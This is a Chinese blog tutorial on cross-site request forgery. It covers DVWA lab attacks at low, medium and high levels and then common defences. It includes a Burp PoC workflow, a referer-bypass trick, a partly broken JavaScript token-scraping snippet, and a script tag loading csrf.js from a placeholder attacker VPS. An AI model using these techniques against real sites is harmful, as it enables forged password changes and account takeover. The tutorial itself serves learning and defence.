首页 > 其他分享 >CSRF 攻击原理与防御

CSRF 攻击原理与防御

时间:2023-10-10 15:22:22浏览次数:36  
标签:CSRF token Token 防御 csrf 服务器 攻击者 原理 请求

定义

跨站请求伪造,攻击者利用服务器对用户信任,从而欺骗受害者点击vps上的恶意请求链接。

与xss的区别

xss是利用用户对服务端的信任;csrf利用服务端对用户的信任

xss攻击是让脚本在用户浏览器上执行,服务端只是恶意脚本的载体;

csrf攻击 不需要知道用户cookie,让受害者点击我们准备好的vps上的恶意代码链接,让受害者在不知情的情况下执行恶意代码。

攻击要点&SRC挖掘

1、服务器没有对操作来源进行判断如 ip、referer等

2、受害者处于登录状态,但攻击者无法拿到cookie

3、攻击者需要找到一条可以修改或敏感信息的请求

场景

受害者a 登录 购物网站  ,修改个人资料中的密码为123,提交
url  
http:www.A.com/edit.php?name=aaa&pass=123&submit=submit

攻击者b 要通过 csrf 漏洞 修改 受害者a的密码

    条件:1、a用户处于登录状态,a用户浏览器未关闭

         2、攻击者b制作修改密码的请求放到vps,并引诱受害者a点击

用burp制作钓鱼网站

1、以dvwa为例,设置为low,进去csrf,抓取修改密码的数据包,鼠标右键选择 制作CSRF POC,会生成html代码

2、将html代码复制到攻击服务器下,访问http://(攻击者vps)/csrf.html

DVWA 中等难度 - referer验证

检测机制:在修改密码等敏感操作时,会检测referer 请求来源地址,里面是否存在主机ip或域名。

我们可以构造一个有效的Referer,可以在攻击服务器上创建一个新的html页面,命名时 要含有 csrf网站主机ip地址

DVWA High高难度 - Token

1、基于Token机制绕过high

2、使用javascript原生代码发送Ajax请求

防御机制

访问页面时,会在页面源代码中生成Token

再次发送请求,生成的Token值会发生变化,每次生成的值都不一样

绕过思路

1、JS构建ajax发送请求给csrf页面,然后从相应中取得Token(正则表达式提取)

2、将取得的Token和新密码一起发送给服务器

构造Ajax请求的代码:

var tokenUrl='http://(受害服务器ip)'/dvwa/csrf/;
var count =0;
实例化XMLHttpRequest,用于发送Ajax请求
xmlhttp = new XMLHttpRequest();
当请求的状态发生变化时,触发代码
xmlhttp.onreadystatechange = function()
{
   if(xmlhttp.readState == 4 && xmlhttp.status == 200)
   {
     var text = xmlhttp.responseText;
     var regex = /user_token\'value\=\'(.*?)\'\/\>/;
     var match = text.match(regex);
     var token = match[1];
     //发送修改密码的语法   
   }
}

将上述代码放置于攻击服务器上,如http://(攻击者vps)/csrf.js

想办法将js代码嵌入到被攻击者服务器上即可完成。(而在这一步,在high级别中无法实现)

<script src="http://攻击vps/csrf.js"></script>

为了先验证攻击的可行性,我们先把dvwa的难度调整到low,进行插入js代码。

防御思路

  1. 验证 http Referer 字段

同源检测,Referer 指的是页面请求来源。意思是,只接受本站的请求,服务器才做响应;如果不是,就拦截。Referer 的值是由浏览器提供的

  1. 在请求地址中添加 Token 并验证

在 HTTP 请求中以参数的形式加入一个随机产生的 token;如果请求中没有 token或者 token 内容不正确,则认为 CSRF 攻击而拒绝该请求

  1. 在 http 头中自定义属性并验证

token 安全等级更高。因为并不是任何服务器都可以取得 referer,如果从 HTTPS 跳到 HTTP,也不会发送 referer。并且 Referer的值是可以通过抓包修改的,但是 token 的话,能保证其足够随机且不可泄露。(不可预测性原则)一般防护 csrf 的办法最常见的就是增加原始密码验证,短信验证、验证码验证,这样基本就很难进行 scrf 攻击了。

标签:CSRF,token,Token,防御,csrf,服务器,攻击者,原理,请求
From: https://www.cnblogs.com/beyondsec/p/17754717.html

相关文章

  • 【Python&语义分割】语义分割的原理及常见模型的介绍
    1概述        语义分割是计算机视觉中的重要任务之一,其目的是将图像中的每个像素分配给特定的类别,从而实现对图像的精细分割。与目标检测不同,语义分割并不需要对物体进行位置和边界框的检测,而是更加注重对图像中每个像素的分类。随着深度学习的兴起,语义分割得到了广泛......
  • BOSHIDA DC电源模块电容滤波器的原理及构成
    BOSHIDADC电源模块电容滤波器的原理及构成DC电源模块电容滤波器是电源输出端的重要组成部分,其主要作用是滤除由电源输出的直流电压中所含的杂波和噪声,并将其平滑处理为一个稳定的直流电压输出。在电子设备的数字、模拟电路、电机驱动等方面,稳定的电源输出对于保证设备的正常运行......
  • 【Python&目标识别】目标检测的原理及常见模型的介绍
    1概述        目标检测(ObjectDetection)是计算机视觉领域的一个重要研究方向,其目的是在图像或视频中定位并识别出特定的物体。目标检测模型通常需要同时确定物体的位置和类别。在深度学习之前,目标检测算法主要基于传统计算机视觉方法,如特征提取和分类器设计。然而,随着深......
  • 分布式锁-实现原理(setnx,redisson)
         ......
  • 音视频处理三剑客之 AEC:回声产生原因及回声消除原理
     在上一期课程《音视频开发者进阶——音频要素》中,我们从声音三要素、音频模拟信号的数字化和音频数字信号特征等方面,重新认识了“声音”这个老朋友。今天,我们会进一步聊聊这个老朋友在RTC世界中的其他故事。磨刀不误砍柴工,在主题开始之前,我们先来了解一下RTC场景中音视频数......
  • 音视频处理三剑客之 AEC:回声产生原因及回声消除原理
      在上一期课程《音视频开发者进阶——音频要素》中,我们从声音三要素、音频模拟信号的数字化和音频数字信号特征等方面,重新认识了“声音”这个老朋友。今天,我们会进一步聊聊这个老朋友在RTC世界中的其他故事。磨刀不误砍柴工,在主题开始之前,我们先来了解一下RTC场景中音......
  • v-model 原理、v-model 应用于组件 实现组件通信
    原理:v-model本质上是一个语法糖。例如应用在输入框上,就是value属性和input事件的合写(如果应用于复选框,就是checked属性和change事件的合写,下拉菜单是value属性和change事件的合写)作用:提供数据的双向绑定     ①数据变,视图跟着变  :value   ......
  • 锁表的原理是 数据库使用独占式封锁机制,当执行上面的语句时
    3.1、A程序执行了对tableA的insert,并还未commite时,B程序也对tableA进行insert则此时会发生资源正忙的异常就是锁表;3.2、锁表常发生于并发而不是并行(并行时,一个线程操作数据库时,另一个线程是不能操作数据库的,cpu和i/o分配原则)4、减少锁表的概率:减少insert、update、......
  • 11-串口通信的基本原理与应用
    串行通信概述微控制器与外部设备的数据通信,根据连线结构和传送方式的不同,可以分为两种:并行通信和串行通信。​ 并行通信:指数据的各位同时发生或接收,每个数据位使用一条导线。​ 串行通信:指数据一位接一位地顺序发送或接收串行通信有SPI、IIC、UART等多种,最常见最通......
  • 模糊测试原理(学习笔记)
    目录0x01什么是模糊测试0x02基本原理和组成1.基本原理基本思想基本概念2.系统组成值得一提:有关状态监控模块的处理0x03基础方法技术数据生成方法1.基本类型数据生成方法2.复合类型数据生成方法3.多阶段交互类型数据生成方法环境控制技术1.运行环境控制技术2.程序运行控制技术3.......